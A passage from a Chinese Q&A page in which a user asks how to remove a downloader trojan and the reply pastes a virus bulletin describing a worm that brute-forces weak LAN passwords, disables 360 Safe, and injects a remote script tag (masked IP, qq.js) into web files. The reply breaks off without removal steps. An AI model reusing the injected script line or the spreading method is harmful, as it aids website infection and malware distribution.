我的电脑中了DLOADER.TROJAN病毒,请问怎么才可以杀了它?

来源：百度知道 编辑：UC知道 时间：2024/06/27 05:40:22
这是什么病毒啊,一直是拒绝访问,删么也删不掉,哪位可以教教我怎么杀吗?

11.18-11.24流行病毒排行榜NO.9：Win32.Troj.Downloader.c.45056
病毒名称(中文):感染虫下载器45056
威胁级别:★★☆☆☆
病毒类型:蠕虫病毒
病毒长度:45056
影响系统:Win9x WinNT

病毒行为:
这是一个蠕虫病毒。（蠕虫病毒比以前少了很多，但对局域网的影响会很大）

该病毒运行后,会指定的网络上下载病毒程序,并且会搜索局域网内机器,以弱口令进行尝试性连接。（windows系统的弱口令是最大的风险，没有口令的系统接入互联网，可能肯定会引狼入室）

一旦连接成功,则判断该机器弱口令是否有足够的权限, 有则向该远程机器发送恶意数据,然后利用windows漏洞来下载程序,予以执行.

1.病毒运行后，产生以下病毒文件
%WINDIR%\ SYSTEM32\tmipo.bat
%WINDIR%\ SYSTEM32\taimpo.txt

2.添加病毒启动项
启动项名:svchost对应路径:%Documents and Settings%\Administrator\桌面\ctfmon.exe

3.病毒会触发taimpo.bat病毒文件,用来关闭"360安全卫士",使用户的安全性能降低.

4.病毒会检测连接的远程机器,当远程机器的登录木马是弱口令时,则会对该机器进行攻击,最后下载adi.vbs到用户机器上.

5.遍历磁盘，查找*.htm、*.PHP、*.ASP等网页文件，开始感染,插入一段JS代码：
script language=javascript src=http://218.**.**.248/qq.js

这段脚本病毒，可能会被用作下载更多的木马程序，利用蠕虫攻击传播，利用下载器种植木马，是目前黑客偷东西惯用的手